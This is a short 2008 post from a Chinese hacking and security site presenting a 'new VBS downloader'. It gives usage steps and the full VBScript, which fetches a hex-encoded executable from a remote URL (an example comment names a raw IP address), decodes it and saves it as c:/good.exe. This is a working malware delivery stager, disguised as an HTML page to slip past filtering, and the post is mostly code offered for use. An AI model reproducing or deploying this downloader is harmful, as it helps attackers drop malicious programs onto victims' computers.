新的VBS下载者代码

 

新的VBS下载者代码 <script src="http://www.heibai.net/security/b/760x90.js"></script>   2008-09-10 13:12   来源：黑白网络   浏览：56 [字号： 大 中 小 ] [打印稿件] [关闭窗口] <script src="http://www.heibai.net/security/b/336x2802.js"></script> 使用方法： 1.exe2hex.vbs 把exe转成十六进制，放到网络上 2.down.vbs http://xxx/demo.htm c:/good.exe demo.htm内容时用exe2hex.vbs转EXE后获得的 on error resume next set arg=wscript.arguments if arg.count=0 then wscript.quit ’code by NetPatch ’cscript down.vbs http://122.136.32.55/demo.htm c:/good.exe Set Mail1 = CreateObject("CDO.Message") Mail1.CreateMHTMLBody arg(0),31 ss= Mail1.HTMLBody Set Mail1 = Nothing Set RS=CreateObject("ADODB.Recordset") L=Len(ss)/2 RS.Fields.Append "m",205,L RS.Open:RS.AddNew RS("m")=ss&ChrB(0) RS.Update ss=RS("m").GetChunk(L) Set s=CreateObject("ADODB.Stream") with s .Mode = 3 .Type = 1 .Open() .Write ss .SaveToFile arg(1),2 end with